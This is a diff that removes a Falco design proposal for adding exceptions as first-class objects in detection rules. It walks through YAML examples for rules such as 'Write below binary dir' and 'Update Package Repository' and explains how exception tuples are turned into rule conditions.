-    and not user_known_write_below_binary_dir_activities
-...
-```
-In most cases, these exceptions are expressed as concatenations to the original rule's condition. For example, looking at the macro package_mgmt_procs:
-
-```yaml
-- macro: package_mgmt_procs
-  condition: proc.name in (package_mgmt_binaries)
-```
-
-The result is appending `and not proc.name in (package_mgmt_binaries)` to the condition of the rule.
-
-A more extreme case of this is the write_below_etc macro used by Write below etc rule. It has tens of exceptions:
-
-```
-...
-    and not sed_temporary_file
-    and not exe_running_docker_save
-    and not ansible_running_python
-    and not python_running_denyhosts
-    and not fluentd_writing_conf_files
-    and not user_known_write_etc_conditions
-    and not run_by_centrify
-    and not run_by_adclient
-    and not qualys_writing_conf_files
-    and not git_writing_nssdb
-...
-```
-
-The exceptions all generally follow the same structure--naming a program and a directory prefix below /etc where that program is allowed to write files.
-
-### Using Appends/Overwrites to Customize Rules
-
-An important way to customize rules and macros is to use `append: true` to add to them, or `append: false` to define a new rule/macro, overwriting the original rule/macro. Here's an example from Update Package Repository:
-
-```yaml
-- list: package_mgmt_binaries
-  items: [rpm_binaries, deb_binaries, update-alternat, gem, pip, pip3, sane-utils.post, alternatives, chef-client, apk, snapd]
-
-- macro: package_mgmt_procs
-  condition: proc.name in (package_mgmt_binaries)
-
-- macro: user_known_update_package_registry
-  condition: (never_true)
-
-- rule: Update Package Repository
-  desc: Detect package repositories get updated
-  condition: >
-    ((open_write and access_repositories) or (modify and modify_repositories))
-    and not package_mgmt_procs
-    and not exe_running_docker_save
-    and not user_known_update_package_registry
-```
-
-If someone wanted to add additional exceptions to this rule, they could add the following to the user_rules file:
-
-```yaml
-- list: package_mgmt_binaries
-  items: [puppet]
-  append: true
-
-- macro: package_mgmt_procs
-  condition: and not proc.pname=chef
-  append: true
-
-- macro: user_known_update_package_registry
-  condition: (proc.name in (npm))
-  append: false
-```
-
-This adds an 3 different exceptions:
-* an additional binary to package_mgmt_binaries (because append is true),
-* adds to package_mgmt_procs, adding an exception for programs spawned by chef (because append is true)
-* overrides the macro user_known_update_package_registry to add an exception for npm (because append is false).
-
-### Problems with Appends/Overrides to Define Exceptions
-
-Although the concepts of macros and lists in condition fields, combined with appending to lists/conditions in macros/rules, is very general purpose, it can be unwieldy:
-
-* Appending to conditions can result in incorrect behavior, unless the original condition has its logical operators set up properly with parentheses. For example:
-
-```yaml
-rule: my_rule
-condition: (evt.type=open and (fd.name=/tmp/foo or fd.name=/tmp/bar))
-
-rule: my_rule
-condition: or fd.name=/tmp/baz
-append: true
-```
-
-Results in unintended behavior. It will match any fd related event where the name is /tmp/baz, when the intent was probably to add /tmp/baz as an additional opened file.
-
-* A good convention many rules use is to have a clause "and not user_known_xxxx" built into the condition field. However, it's not in all rules and its use is a bit haphazard.
-
-* Appends and overrides can get confusing if you try to apply them multiple times. For example:
-
-```yaml
-macro: allowed_files
-condition: fd.name=/tmp/foo
-
-...
-
-macro: allowed_files
-condition: and fd.name=/tmp/bar
-append: true
-```
-
-If someone wanted to override the original behavior of allowed_files, they would have to use `append: false` in a third definition of allowed_files, but this would result in losing the append: true override.
-
-## Solution: Exceptions as first class objects
-
-To address some of these problems, we will add the notion of Exceptions as top level objects alongside Rules, Macros, and Lists. A rule that supports exceptions must define a new key `exceptions` in the rule. The exceptions key is a list of identifier plus list of tuples of filtercheck fields. Here's an example:
-
-```yaml
-- rule: Write below binary dir
-  desc: an attempt to write to any file below a set of binary directories
-  condition: >
-    bin_dir and evt.dir = < and open_write
-    and not package_mgmt_procs
-    and not exe_running_docker_save
-    and not python_running_get_pip
-    and not python_running_ms_oms
-    and not user_known_write_below_binary_dir_activities
-  exceptions:
-   - name: proc_writer
-     fields: [proc.name, fd.directory]
-   - name: container_writer
-     fields: [container.image.repository, fd.directory]
-     comps: [=, startswith]
-   - name: proc_filenames
-     fields: [proc.name, fd.name]
-     comps: [=, in]
-   - name: filenames
-     fields: fd.filename
-     comps: in
-```
-
-This rule defines four kinds of exceptions:
-  * proc_writer: uses a combination of proc.name and fd.directory
-  * container_writer: uses a combination of container.image.repository and fd.directory
-  * proc_filenames: uses a combination of process and list of filenames.
-  * filenames: uses a list of filenames
-
-The specific strings "proc_writer"/"container_writer"/"proc_filenames"/"filenames" are arbitrary strings and don't have a special meaning to the rules file parser. They're only used to link together the list of field names with the list of field values that exist in the exception object.
-
-proc_writer does not have any comps property, so the fields are directly compared to values using the = operator. container_writer does have a comps property, so each field will be compared to the corresponding exception items using the corresponding comparison operator.
-
-proc_filenames uses the in comparison operator, so the corresponding values entry should be a list of filenames.
-
-filenames differs from the others in that it names a single field and single comp operator. This changes how the exception condition snippet is constructed (see below).
-
-Notice that exceptions are defined as a part of the rule. This is important because the author of the rule defines what construes a valid exception to the rule. In this case, an exception can consist of a process and file directory (actor and target), but not a process name only (too broad).
-
-Exception values will most commonly be defined in rules with append: true. Here's an example:
-
-```yaml
-- list: apt_files
-  items: [/bin/ls, /bin/rm]
-
-- rule: Write below binary dir
-  exceptions:
-  - name: proc_writer
-    values:
-    - [apk, /usr/lib/alpine]
-    - [npm, /usr/node/bin]
-  - name: container_writer
-    values:
-    - [docker.io/alpine, /usr/libexec/alpine]
-  - name: proc_filenames
-    values:
-    - [apt, apt_files]
-    - [rpm, [/bin/cp, /bin/pwd]]
-  - name: filenames
-    values: [python, go]
-```
-
-A rule exception applies if for a given event, the fields in a rule.exception match all of the values in some exception.item. For example, if a program `apk` writes to a file below `/usr/lib/alpine`, the rule will not trigger, even if the condition is met.
-
-Notice that an item in a values list can be a list. This allows building exceptions with operators like "in", "pmatch", etc. that work on a list of items. The item can also be a name of an existing list. If not present surrounding parantheses will be added.
-
-Finally, note that the structure of the values property differs between the items where fields is a list of fields (proc_writer/container_writer/proc_filenames) and when it is a single field (procs_only). This changes how the condition snippet is constructed.
-
-### Implementation
-
-For exception items where the fields property is a list of field names, each exception can be thought of as an implicit "and not (field1 cmp1 val1 and field2 cmp2 val2 and...)" appended to the rule's condition. For exception items where the fields property is a single field name, the exception can be thought of as an implict "and not field cmp (val1, val2, ...)". In practice, that's how exceptions will be implemented.
-
-When a rule is parsed, the original condition will be wrapped in an extra layer of parentheses and all exception values will be appended to the condition. For example, using the example above, the resulting condition will be:
-
-```
-(<Write below binary dir condition>) and not (
-    (proc.name = apk and fd.directory = /usr/lib/alpine) or (proc.name = npm and fd.directory = /usr/node/bin) or
-	(container.image.repository = docker.io/alpine and fd.directory startswith /usr/libexec/alpine) or
-	(proc.name=apt and fd.name in (apt_files))) or
-	(fd.filename in (python, go))))
-```
-
-The exceptions are effectively syntatic sugar that allows expressing sets of exceptions in a concise way.
-
-### Advantages
-
-Adding Exception objects as described here has several advantages:
-
-* All rules will implicitly support exceptions. A rule writer doesn't need to define a user_known_xxx macro and add it to the condition.
-* The rule writer has some controls on what defines a valid exception. The rule author knows best what is a good exception, and can define the fields that make up the exception.
-* With this approach, it's much easier to add and manage multiple sets of exceptions from multiple sources. You're just combining lists of tuples of filtercheck field values.
-
-## Backwards compatibility
-
-To take advantage of these new features, users will need to upgrade Falco to a version that supports exception objects and exception keys in rules. For the most part, however, the rules file structure is unchanged.
-
-This approach does not remove the ability to append to exceptions nor the existing use of user_xxx macros to define exceptions to rules. It only provides an additional way to express exceptions. Hopefully, we can migrate existing exceptions to use this approach, but there isn't any plan to make wholesale rules changes as a part of this.
-
-This approach is for the most part backwards compatible with older Falco releases. To implement exceptions, we'll add a preprocessing element to rule parsing. The main Falco engine is unchanged.
-
-However, there are a few changes we'll have to make to Falco rules file parsing:
-
-* Currently, Falco will reject files containing anything other than rule/macro/list top-level objects. As a result, `exception` objects would be rejected. We'll probably want to make a one-time change to Falco to allow arbitrary top level objects.
-* Similarly, Falco will reject rule objects with exception keys. We'll also probably want to change Falco to allow unknown keys inside rule/macro/list/exception objects.
